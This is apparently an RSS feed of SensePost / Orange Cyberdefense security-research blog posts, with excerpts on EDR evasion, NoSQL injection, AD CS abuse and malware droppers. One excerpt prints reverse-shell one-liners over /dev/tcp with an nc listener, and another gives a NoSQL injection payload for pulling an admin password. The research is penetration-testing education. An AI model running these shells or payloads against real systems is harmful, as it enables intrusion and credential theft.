<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>:: Orange Cyberdefense :: on Orange Cyberdefense</title>
		<link>https://sensepost.com/</link>
		<description>Recent content in :: Orange Cyberdefense :: on Orange Cyberdefense</description>
		<generator>Hugo</generator>
		<language>en-us</language>
		
		
		
		
			<lastBuildDate>Wed, 08 Jul 2026 06:15:40 +0000</lastBuildDate>
		
			<atom:link href="https://sensepost.com/rss.xml" rel="self" type="application/rss+xml" />
			<item>
				<title>SensePost’s 2026 Artwork</title>
				<link>https://sensepost.com/blog/2026/senseposts-2026-artwork/</link>
				<pubDate>Wed, 08 Jul 2026 06:15:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2026/senseposts-2026-artwork/</guid>
				<description>&lt;p&gt;For many years, we&amp;#8217;ve released an annual artwork. These are always hand crafted by our people or an artist. Here is this year&amp;#8217;s piece and the story behind it.&lt;br /&gt;&lt;/p&gt;&#xA;&lt;figure &gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2026/sensepost-s-2026-artwork/83df06cba320822443992e17be5590f2.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;721&#34; src=&#34;https://sensepost.com/img/pages/blog/2026/sensepost-s-2026-artwork/cd4bc9007f71433e688af73b92881042.jpg&#34; width=&#34;1224&#34; /&gt;&lt;/a&gt;&lt;/figure&gt;&#xA;&lt;p&gt;This year&amp;#8217;s artwork was created by &lt;a href=&#34;https://keiella.art/about&#34;&gt;Kei-Ella&lt;/a&gt;. We have worked with Kei before and wanted someone who could bring a more feminine angle to the typical hacking art. We think she did an incredible job, thanks Kei!&lt;/p&gt;&#xA;&lt;p&gt;The art can just be enjoyed, you don&amp;#8217;t need to know or care what our thinking behind it was, nor does it deny you deriving your own meaning from the art. But, if you would like to know what we were thinking, read on!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Process Parameter Poisoning</title>
				<link>https://sensepost.com/blog/2026/process-parameter-poisoning/</link>
				<pubDate>Mon, 06 Jul 2026 15:11:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2026/process-parameter-poisoning/</guid>
				<description>&lt;h2 &gt;Introduction&lt;/h2&gt;&#xA;&lt;p&gt;Authors: Max Hirschberger &amp;amp; Ogulcan Ugur&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Process Parameter Poisoning &lt;/strong&gt;&lt;/em&gt;&lt;strong&gt;&lt;em&gt;(P&lt;sup&gt;3&lt;/sup&gt;)&lt;/em&gt;&lt;/strong&gt; is an attack technique we developed that is used to inject code in foreign processes, without triggering typical detection mechanisms.&lt;/p&gt;&#xA;&lt;p&gt;Its ability to fly under the radar has been tested against four market leading Endpoint Detection and Response (EDR) solutions. Code injection succeeded in all cases and no alerts were created, even though the EDRs were configured to detect, block and remediate.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mobile device interception with MikroTik</title>
				<link>https://sensepost.com/blog/2026/mobile-device-interception-with-mikrotik/</link>
				<pubDate>Thu, 04 Jun 2026 09:34:57 +0000</pubDate>
				<guid>https://sensepost.com/blog/2026/mobile-device-interception-with-mikrotik/</guid>
				<description>&lt;h2 &gt;&lt;em&gt;Preamble&lt;/em&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Anybody who has had a conversation with me about networks probably knows that I&amp;#8217;m a bit of a MikroTik fanboy, and for good reason. I am also a long-time user and supporter of OpenWrt which makes my enthusiasm for MikroTik even more significant. Somewhere around 16 years ago I got my first router (TP-Link WR1043ND), my first introduction to OpenWrt, and my first USB-serial cable after accidentally flashing an update to the wrong place and bricking the router. I was amazed at how versatile the platform was, the fact that I could run arbitrary services on my router, limited only by its meagre resources.&lt;/p&gt;</description>
			</item>
			<item>
				<title>OpenSSL, Certpinning and  Memory patching. Sounds fun right?</title>
				<link>https://sensepost.com/blog/2026/openssl-certpinning-and-memory-patching.-sounds-fun-right/</link>
				<pubDate>Wed, 01 Apr 2026 13:08:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2026/openssl-certpinning-and-memory-patching.-sounds-fun-right/</guid>
				<description>&lt;p&gt;&lt;em&gt;This blogpost will cover the research I presented at &lt;a href=&#34;https://pretalx.com/bsides-joburg-2024/talk/ZCCRWX/&#34;&gt;BSides JoBurg&lt;/a&gt;. You can &lt;a href=&#34;https://www.youtube.com/watch?v=vjwvVE0pGfI&#34;&gt;watch the talk on YouTube&lt;/a&gt;, and code can be found on &lt;a href=&#34;https://github.com/sensepost/memunpin&#34;&gt;our GitHub page&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This journey started after having looked at some certificate-pinned apps.&lt;/p&gt;&#xA;&lt;p&gt;The majority of apps that appear to implement cert pinning, don&amp;#8217;t actually have cert pinning but rather just use a custom trust manager or are not proxy aware (this also applies to things like Flutter). Thus the first step is to ensure application traffic is forced through our proxy. I utilised an OpenVPN server when working with a physical device and the Android emulator proxy settings when working with a virtual device.&lt;/p&gt;</description>
			</item>
			<item>
				<title>From flat networks to locked up domains with tiering models</title>
				<link>https://sensepost.com/blog/2026/from-flat-networks-to-locked-up-domains-with-tiering-models/</link>
				<pubDate>Mon, 09 Mar 2026 11:26:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2026/from-flat-networks-to-locked-up-domains-with-tiering-models/</guid>
				<description>&lt;p&gt;I&amp;#8217;ve been performing internal assessments for seven years and out of all the things I have learnt, one is certain: without a proper tiering model, security tools alone won&amp;#8217;t stop your organization from collapsing after a major compromise.&lt;/p&gt;&#xA;&lt;p&gt;In this post I&amp;#8217;ll explain what a tiering model is, how to break a flat network even when protections are present, and, most importantly, how to build a defense-in-depth network providing practical tips and diagrams.&lt;/p&gt;</description>
			</item>
			<item>
				<title>pipetap – a windows named pipe proxy tool</title>
				<link>https://sensepost.com/blog/2025/pipetap-a-windows-named-pipe-proxy-tool/</link>
				<pubDate>Fri, 21 Nov 2025 06:03:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/pipetap-a-windows-named-pipe-proxy-tool/</guid>
				<description>&lt;p&gt;Windows named pipes, being one of many available mechanisms for inter-component / inter-process communications, is interesting from a security perspective. While hunting for vulnerabilities in various bits of software, I often see the pattern of a privileged process that exposes a named pipe such that a client process can interact with it. More often than not, you&amp;#8217;ll eventually be curious enough to want to snoop on the data that is transferred over this named pipe. At this stage you&amp;#8217;ll Google &amp;#8220;Windows Named Pipe Proxy&amp;#8221;, find some results and away you go. My hope is that pipetap is another one of these results you&amp;#8217;ll find that can help with your Windows named pipe reverse engineering journey. You can find it here: &lt;a href=&#34;https://github.com/sensepost/pipetap&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;https://github.com/sensepost/pipetap&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Noooooooooo Touch!</title>
				<link>https://sensepost.com/blog/2025/noooooooooo-touch/</link>
				<pubDate>Wed, 19 Nov 2025 13:20:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/noooooooooo-touch/</guid>
				<description>&lt;p&gt;&lt;em&gt;TL;DR I presented this work at Insomni&amp;#8217;hack, if you&amp;#8217;d prefer to watch the recording of that then you can find it here:&lt;/em&gt; &lt;a href=&#34;https://www.youtube.com/watch?v=Nvw_BH7jPzE&#34;&gt;&lt;em&gt;https://www.youtube.com/watch?v=Nvw_BH7jPzE&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Imagine you&amp;#8217;re on a physical engagement, standing outside an office door. You need an access card but you don&amp;#8217;t have one (yet). You notice that there&amp;#8217;s a pattern where employees need to tag in, but to leave they just wave their hand and the door swings open. You pull a torch out of your backpack and switch it on. There&amp;#8217;s no visible light but a subtle vibration assures you that it&amp;#8217;s on and working. You shine it through the glass door, pointing it at a bookshelf, a chair or wall on the inside, like trying to line up a shot in pool. Within about 5 seconds&amp;#8230; pop! The door swings open, there&amp;#8217;s nobody else in sight and you walk right in. Not even a fingerprint left behind. It turns out, this scenario isn&amp;#8217;t as farfetched as you might think.&lt;/p&gt;</description>
			</item>
			<item>
				<title>A journey implementing Channel Binding on MSSQLClient.py</title>
				<link>https://sensepost.com/blog/2025/a-journey-implementing-channel-binding-on-mssqlclient.py/</link>
				<pubDate>Fri, 25 Jul 2025 12:03:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/a-journey-implementing-channel-binding-on-mssqlclient.py/</guid>
				<description>&lt;p&gt;A few weeks ago my friend &lt;a href=&#34;https://x.com/_zblurx&#34;&gt;Zblurx&lt;/a&gt; pushed a PR to Impacket in which he implemented the Channel Binding Token computation based on code that was developed by &lt;a href=&#34;https://x.com/lowercase_drm&#34;&gt;@lowercase_drm&lt;/a&gt; for the &lt;a href=&#34;https://github.com/cannatag/ldap3/pull/1087/&#34;&gt;ldap3 library&lt;/a&gt;. This PR allowed any tool relying on the ldap3 library to be able to connect to LDAP servers even if LDAP signing and LDAPS channel binding are enabled. Looking at the code I thought it would be easy to implement the same mechanism on other protocols such as MSSQL which I was already working on pushing as &lt;a href=&#34;https://github.com/Pennyw0rth/NetExec/pull/720&#34;&gt;PRs on NetExec&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>pwning asus driverhub, msi center, acer control centre and razer synapse 4</title>
				<link>https://sensepost.com/blog/2025/pwning-asus-driverhub-msi-center-acer-control-centre-and-razer-synapse-4/</link>
				<pubDate>Thu, 24 Jul 2025 17:32:16 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/pwning-asus-driverhub-msi-center-acer-control-centre-and-razer-synapse-4/</guid>
				<description>&lt;p&gt;At the beginning of this year I spent a week finding several vulnerabilities in various &amp;#8220;bloatware&amp;#8221; software. This was after I got suspicious of how my ASUS motherboard&amp;#8217;s &amp;#8220;DriverHub&amp;#8221; behaved. In the end I looked at 6 targets from 6 random vendors (apart from ASUS) and found vulnerabilities ranging from Remote Code Execution to Local Privilege Escalation in all of them. Those were: ASUS, Acer, Lenovo, HP, MSI and Razer.&lt;/p&gt;</description>
			</item>
			<item>
				<title>No Egress, No Shell, No Problem</title>
				<link>https://sensepost.com/blog/2025/no-egress-no-shell-no-problem/</link>
				<pubDate>Thu, 26 Jun 2025 07:35:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/no-egress-no-shell-no-problem/</guid>
				<description>&lt;p&gt;Context, context, context; Alright, imagine this &amp;#8211;  you&amp;#8217;re on an engagement, find a few vulnerabilities, run a few exploits and next thing you know you have Remote Code Execution (RCE). &lt;/p&gt;&#xA;&lt;p&gt;Now, like muscle memory, your next instinct would be to get a shell. Running the following is fairly simple:&lt;/p&gt;&#xA;&lt;pre &gt;&lt;code&gt;sh -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.22/4678 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then listen in and&amp;#8230;&lt;/p&gt;&#xA;&lt;pre &gt;&lt;code&gt;nc -lvnp 4678&#xA;...&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Huh? Sorry, I mean run this, and&amp;#8230;&lt;/p&gt;&#xA;&lt;pre &gt;&lt;code&gt;0&amp;lt;&amp;amp;196;exec 196&amp;lt;&amp;gt;/dev/tcp/10.0.0.22/4678; sh &amp;lt;&amp;amp;196 &amp;gt;&amp;amp;196 2&amp;gt;&amp;amp;196&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&amp;#8230;and&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Depscanner: Find orphaned packages before the bad guys do</title>
				<link>https://sensepost.com/blog/2025/depscanner-find-orphaned-packages-before-the-bad-guys-do/</link>
				<pubDate>Tue, 03 Jun 2025 15:20:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/depscanner-find-orphaned-packages-before-the-bad-guys-do/</guid>
				<description>&lt;h2 &gt;Context&lt;/h2&gt;&#xA;&lt;p&gt;I recently shared with my colleagues the quickest method to getting banned from &lt;a href=&#34;https://pypi.org/&#34;&gt;pypi.org&lt;/a&gt;, but, believe or not, that was not the original intention of the talk.&lt;/p&gt;&#xA;&lt;p&gt;My real intention was to share what the current status of &lt;a href=&#34;https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610&#34;&gt;dependency confusion&lt;/a&gt; is in 2025 (one flavour of supply chain attacks) and present &lt;a href=&#34;https://github.com/sensepost/depscanner/&#34;&gt;a tool&lt;/a&gt; to detect potential orphan dependencies in GitHub repositories and two short stories, one about great hacking success, and another about being an idiot. Stick around.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Investigating an in-the-wild campaign using RCE in CraftCMS</title>
				<link>https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/</link>
				<pubDate>Fri, 18 Apr 2025 17:31:39 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/</guid>
				<description>&lt;h2 &gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;In mid-February, Orange Cyberdefense&amp;#8217;s CSIRT was tasked with investigating a server that had been hosting a now-unavailable website. The site had been built using CraftCMS running version 4.12.8. The forensic investigation and post-analysis with the Ethical Hacking team led to the discovery of two CVEs: CVE-2024-58136 and CVE-2025-32432.&lt;/p&gt;&#xA;&lt;p&gt;This blog post aims to present:&lt;/p&gt;&#xA;&lt;ul &gt;&#xA;&lt;li&gt;The investigation that led to the finding of those two CVEs, and details of the different IOCs found during the analysis.&lt;/li&gt;&#xA;&lt;li&gt;The technical details of both CVEs, explaining how the Craft CMS was vulnerable through the Yii Framewrork.&lt;/li&gt;&#xA;&lt;li&gt;An assessment of the vulnerable assets online.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 &gt;&lt;strong&gt;I. Forensic investigation&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;h3 &gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;ul &gt;&#xA;&lt;li&gt;On the 14th of February, a threat actor compromised a web server using CVE-2025-32432.&lt;/li&gt;&#xA;&lt;li&gt;The threat actor used it to download a file manager written in PHP on the server which was later used to upload other PHP files to the server.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The rest of this section will cover the following points:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Intercepting HTTPS Communication in Flutter: Going Full Hardcore Mode with Frida</title>
				<link>https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/</link>
				<pubDate>Wed, 16 Apr 2025 16:26:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/</guid>
				<description>&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt; In this blog post, I will share insights I learned while researching the Flutter framework and the &lt;a href=&#34;https://github.com/Impact-I/reFlutter&#34;&gt;reFlutter&lt;/a&gt; tool. It will dive deep into Flutter&amp;#8217;s architecture, some of its inner workings and dependencies, and finally, drill down into the SSL verification logic. The post will end by exploring what the reFlutter tool actually does and my attempts at replicating the same behaviour with Frida.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: If you are in a pinch on a mobile assessment where the application uses Flutter, the reFlutter tool is a great option. This blog post does not advocate that you need to use Frida logic. It is simply an exercise in seeing whether a Frida equivalent may exist.&lt;/em&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Is TLS more secure? The WinRMS case.</title>
				<link>https://sensepost.com/blog/2025/is-tls-more-secure-the-winrms-case./</link>
				<pubDate>Mon, 14 Apr 2025 09:07:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/is-tls-more-secure-the-winrms-case./</guid>
				<description>&lt;h2 &gt;0/ TL;DR&lt;/h2&gt;&#xA;&lt;p&gt;&lt;br /&gt;WinRM is protected against NTLMRelay as communications are encrypted. However WinRMS (the one communicating over HTTPS) is not entirely. That said, WinRMS is not configured on a default server installation (while WinRM is). So, if someone tried to harden their servers&amp;#8217; configurations (by removing the HTTP endpoint), they would open a new possible target that can be used to relay HTTP/SMB and LDAP NTLMv1 only authentications to WinRMS and thus gain remote code execution.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Browser Cache Smuggling: the return of the dropper</title>
				<link>https://sensepost.com/blog/2025/browser-cache-smuggling-the-return-of-the-dropper/</link>
				<pubDate>Mon, 24 Mar 2025 08:25:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/browser-cache-smuggling-the-return-of-the-dropper/</guid>
				<description>&lt;p&gt;A year and a half ago I wrote a &lt;a href=&#34;https://sensepost.com/blog/2023/browsers-cache-smuggling/&#34;&gt;blog&lt;/a&gt; post describing how browsers&amp;#8217; cache system can be abused to drop malware on targets&amp;#8217; computers. As of today, this technique is still relevant. Browsers haven&amp;#8217;t changed their behaviour and as such you can still use it for red team assessments.&lt;/p&gt;&#xA;&lt;p&gt;I had the opportunity to present the technique at &lt;a href=&#34;https://insomnihack.ch/&#34;&gt;Insomni&amp;#8217;hack&lt;/a&gt; 2025 and while the technique itself is, I believe, quite interesting, I wanted to go a little further and:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Leakymetry: Circumventing GLPI Authentication</title>
				<link>https://sensepost.com/blog/2025/leakymetry-circumventing-glpi-authentication/</link>
				<pubDate>Fri, 21 Mar 2025 10:10:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/leakymetry-circumventing-glpi-authentication/</guid>
				<description>&lt;h2 &gt;Intro&lt;/h2&gt;&#xA;&lt;p&gt;GLPI (Gestionnaire libre de parc informatique) is a popular open-source software in France and Brazil. It is used to create a mapping of a network through an inventory plugin, but also to gather users&amp;#8217; issues through a ticket system.&lt;/p&gt;&#xA;&lt;h2 &gt;Starting research&lt;/h2&gt;&#xA;&lt;p&gt;As I was wondering how the update mechanism worked in GLPI, I saw something really interesting in this file.&lt;/p&gt;&#xA;&lt;p&gt;It is important to note that most of the GLPI files are not accessible without authentication. Because of this, the attack surface on this software is reduced. However, the update.php script is accessible by an unauthenticated user. And this file contains juicy information. I started looking at it, and I immediately saw that this script under certain parameters, disclosed telemetry information.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Using &amp; improving frida-trace</title>
				<link>https://sensepost.com/blog/2025/using-improving-frida-trace/</link>
				<pubDate>Wed, 19 Mar 2025 08:01:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/using-improving-frida-trace/</guid>
				<description>&lt;p&gt;TL;DR In this blog I want to show you how useful &lt;strong&gt;&lt;em&gt;frida-trace&lt;/em&gt;&lt;/strong&gt; can be at hooking thousands of methods at a time. I also wrote some scripts for improving its output a bit.&lt;/p&gt;&#xA;&lt;p&gt;I often find that half of the problem is finding out what you don’t know. Take a mobile application for instance:&lt;/p&gt;&#xA;&lt;ul &gt;&#xA;&lt;li&gt;Which class is responsible for the SSL pinning?&lt;/li&gt;&#xA;&lt;li&gt;Which class does the crypto?&lt;/li&gt;&#xA;&lt;li&gt;What method is used to retrieve data from the local storage?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Once you have enough information, life becomes a lot easier. Unfortunately, finding this information can be difficult – especially when the mobile application you’ve been given is obfuscated beyond recognition, and the client refuses to provide you the original version, or the source code.&lt;/p&gt;</description>
			</item>
			<item>
				<title>NoSQL error-based injection</title>
				<link>https://sensepost.com/blog/2025/nosql-error-based-injection/</link>
				<pubDate>Sat, 15 Mar 2025 15:54:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/nosql-error-based-injection/</guid>
				<description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;TL;DR How to do NoSQL error-based injection&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this second blog post (read &lt;a href=&#34;https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/&#34;&gt;the first one here&lt;/a&gt;), on NoSQL injection, I discuss how to do error-based injection. I think this might be a novel approach – at least my Google search-fu isn&amp;#8217;t finding anything.&lt;/p&gt;&#xA;&lt;p&gt;When trying to extract information via NoSQL injection, you typically make use of Boolean conditions to figure out a character. Portswigger has a couple of examples &lt;a href=&#34;https://portswigger.net/web-security/nosql-injection&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In one of Portswigger&amp;#8217;s examples, they consider the case where you can look up another user&amp;#8217;s profile via a website that’s vulnerable to NoSQL $where injection. To get the first char of the admin user&amp;#8217;s password, we then use the payload &lt;strong&gt;&lt;em&gt;&lt;code&gt;admin&#39; &amp;amp;&amp;amp; this.password[0] == &#39;a&#39; || &#39;a&#39;==&#39;b&lt;/code&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Capchan – Solving CAPTCHA with Image Classification</title>
				<link>https://sensepost.com/blog/2025/capchan-solving-captcha-with-image-classification/</link>
				<pubDate>Thu, 13 Mar 2025 14:44:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/capchan-solving-captcha-with-image-classification/</guid>
				<description>&lt;p&gt;A few years ago, I tried my hand at the, now retired, &lt;a href=&#34;https://ctftime.org/task/7507&#34;&gt;CAPTCHA Forest CTF&lt;/a&gt;, which was part of the nullcon HackIM 2019. I wanted to solve it using computer vision and machine learning. This started me on a path of discovery and incremental improvements that finally resulted in &lt;a href=&#34;https://github.com/sensepost/capchan&#34;&gt;capchan&lt;/a&gt;, a generic CAPTCHA to text tool.&lt;/p&gt;&#xA;&lt;p&gt;This post is broken into four parts:&lt;/p&gt;&#xA;&lt;ul &gt;&#xA;&lt;li&gt;The first CTF&lt;/li&gt;&#xA;&lt;li&gt;The second CTF&lt;/li&gt;&#xA;&lt;li&gt;Neural Network Fundamentals&lt;/li&gt;&#xA;&lt;li&gt;Creating capchan&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 &gt;ATTEMPT_ZERO&lt;/h2&gt;&#xA;&lt;p&gt;Starting the CTF &amp;#8211; I connected to the netcat instance, but after staring at hexadecimal, I immediately closed it and moved on to try another CTF.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Getting rid of pre- and post-conditions in NoSQL injections</title>
				<link>https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/</link>
				<pubDate>Tue, 11 Mar 2025 12:52:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/</guid>
				<description>&lt;p&gt;&lt;strong&gt;TL;DR: I found a cool way to get rid of pre-conditions in NOSQL syntax injection&lt;/strong&gt;s&lt;/p&gt;&#xA;&lt;p&gt;I have been investigating NoSQL injection for a bit,  trying to make it &lt;strong&gt;better&lt;/strong&gt;, or at least somewhat equivalent to SQL injection. One of the things that are tricky with NoSQL injection is getting rid of pre- and post-conditions.&lt;/p&gt;&#xA;&lt;p&gt;For this post I&amp;#8217;m focusing on MongoDB, so &lt;/p&gt;&#xA;&lt;pre &gt;&lt;code&gt;s/NoSQL injection/Mongo injection/g&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 &gt;&lt;strong&gt;&lt;em&gt;Background&lt;/em&gt;&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;In case you forgot, most MongoDB queries will look something like this in the background:&lt;/p&gt;</description>
			</item>
			<item>
				<title>goLAPS</title>
				<link>https://sensepost.com/blog/2025/golaps/</link>
				<pubDate>Mon, 10 Mar 2025 11:51:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/golaps/</guid>
				<description>&lt;h2 &gt;Context&lt;/h2&gt;&#xA;&lt;p&gt;During the last SenseCon we had at OrangeCyberdefense in May 2024 (see &lt;a href=&#34;https://sensepost.com/blog/sensecon/&#34;&gt;https://sensepost.com/blog/sensecon/&lt;/a&gt;), we usually either pick-up from a list of ideas or pitch our own to implement in the 24 hours to work on whatever project is itching you.&lt;/p&gt;&#xA;&lt;p&gt;I proposed a few ideas. I&amp;#8217;ll leave some of them here verbatim (I have removed the ideas that were only applicable internally), in case you want to tackle the challenges yourself or they inspire you to do something else:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Diving Into AD CS: Exploring Some Common Error Messages</title>
				<link>https://sensepost.com/blog/2025/diving-into-ad-cs-exploring-some-common-error-messages/</link>
				<pubDate>Fri, 07 Mar 2025 12:02:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/diving-into-ad-cs-exploring-some-common-error-messages/</guid>
				<description>&lt;p&gt;Abuse of Active Directory Certificate Services (AD CS) has become a staple of our internal network assessment methodology. In fact, I can&amp;#8217;t recall an internal  I&amp;#8217;ve done in the past two or more years that didn&amp;#8217;t feature ADCS abuse in some manner or another.&lt;/p&gt;&#xA;&lt;p&gt;We can all agree that when AD CS abuse works as intended, it is fantastic. As Tinus Green stated in his &lt;a href=&#34;https://youtu.be/xnXbla5col8?t=2476&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;BSides talk&lt;/a&gt;, AD CS abuse is the teleport scroll to the top of the mountain. It allows us to rapidly gain high-privileged access to the domain and, from there, can target more lucrative objectives.&lt;/p&gt;</description>
			</item>
			<item>
				<title>InvokeADCheck – A PowerShell Module for Assessing Active Directory</title>
				<link>https://sensepost.com/blog/2025/invokeadcheck-a-powershell-module-for-assessing-active-directory/</link>
				<pubDate>Thu, 06 Mar 2025 10:24:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/invokeadcheck-a-powershell-module-for-assessing-active-directory/</guid>
				<description>&lt;h2 &gt;Introduction&lt;/h2&gt;&#xA;&lt;p&gt;During an Active Directory (AD) assessment, I found myself struggling with a collection of individual PowerShell scripts and their formatting—or rather, the lack thereof. The various PowerShell scripts included public, as well as proprietary, scripts that were used for retrieving Active Directory objects and their attributes. Faced with resource and time constraints within the team, I proposed to try to come up with a better, more efficient way to conduct some of the checks that we do during an AD assessment. Inspired in part by the excellent work of Sean Metcalf, the author of &lt;a href=&#34;https://github.com/Trimarc/Invoke-TrimarcADChecks&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Invoke-TrimarcADChecks&lt;/a&gt;, my colleague Justin (&lt;a href=&#34;https://github.com/justin-p&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Justin&lt;/a&gt;&lt;a href=&#34;https://github.com/justin-p/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;&amp;#8211;&lt;/a&gt;&lt;a href=&#34;https://github.com/justin-p&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;P&lt;/a&gt;) and I (&lt;a href=&#34;https://github.com/N1ck3nd/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;N1ck3nd&lt;/a&gt;) set out to develop what would ultimately become the &lt;a href=&#34;https://github.com/sensepost/InvokeADCheck/&#34;&gt;InvokeADCheck PowerShell module&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>PsExec’ing the right way and why zero trust is mandatory</title>
				<link>https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/</link>
				<pubDate>Mon, 10 Feb 2025 07:57:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/</guid>
				<description>&lt;p&gt;2021 was the year I met two incredible hackers, &lt;a href=&#34;https://x.com/_cablethief&#34;&gt;Michael&lt;/a&gt; and Reino with whom I had the opportunity to work with during my first ever SenseCon.&lt;/p&gt;&#xA;&lt;p&gt;The Sensecon is an internal conference that lasts 3 days during which we meet people, share knowledge and have fun. There is also a day long hackathon during which we work on hacking subjects we are interested in.&lt;/p&gt;&#xA;&lt;p&gt;For that hackathon, we wanted to dig into PsExec.exe in order to see if it is possible to communicate with it via a python script and thus not depend anymore on a windows system. Spoiler alert, &lt;a href=&#34;https://github.com/sensepost/susinternals&#34;&gt;we were able to&lt;/a&gt;! But for some reasons, the project died in a private repo.&lt;/p&gt;</description>
			</item>
			<item>
				<title>make prs, not war</title>
				<link>https://sensepost.com/blog/2024/make-prs-not-war/</link>
				<pubDate>Mon, 08 Jul 2024 12:37:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/make-prs-not-war/</guid>
				<description>&lt;p&gt;Everyday we&amp;#8217;re faced with a choice – some glaringly obvious, others more subtle. The choice to give, or to take, is something that I believe is deeply rooted in each of us, and choosing to give, to contribute no matter how big or small, almost always ends up bigger than ourselves.&lt;/p&gt;&#xA;&lt;p&gt;Imagined by us, and illustrated by the amazingly talented &lt;a href=&#34;https://x.com/christidutoit&#34;&gt;@christidutoit&lt;/a&gt;, I&amp;#8217;m excited to show you &amp;#8220;make pr&amp;#8217;s, not war&amp;#8221; &amp;#8211; our 2024 SensePost artwork.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Dumping LSA secrets: a story about task decorrelation</title>
				<link>https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/</link>
				<pubDate>Wed, 03 Jul 2024 17:07:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/</guid>
